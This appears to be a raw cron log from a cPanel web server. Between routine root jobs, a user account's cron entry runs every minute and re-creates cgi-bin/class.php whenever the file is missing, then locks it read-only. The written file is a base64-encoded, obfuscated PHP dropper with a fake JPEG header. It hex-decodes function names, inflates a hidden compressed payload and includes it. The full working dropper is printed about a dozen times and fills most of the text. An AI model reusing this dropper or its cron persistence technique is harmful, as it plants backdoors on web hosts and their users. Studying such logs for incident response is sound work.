Nov 14 20:24:01 server CROND[12060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:25:01 server CROND[13012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:25:01 server CROND[13013]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:25:01 server CROND[13014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:25:01 server CROND[13015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:26:01 server CROND[13885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:27:01 server CROND[14692]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 20:27:01 server CROND[14693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:28:01 server CROND[15914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:29:01 server CROND[16768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:30:01 server CROND[17628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:30:01 server CROND[17630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 20:30:01 server CROND[17631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:30:01 server CROND[17633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:30:01 server CROND[17634]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 14 20:31:01 server CROND[18621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:32:01 server CROND[19549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:33:01 server CROND[20460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:34:01 server CROND[21219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:35:01 server CROND[22111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:35:01 server CROND[22112]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 20:35:01 server CROND[22116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:35:01 server CROND[22117]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 20:35:01 server CROND[22118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:36:01 server CROND[22890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
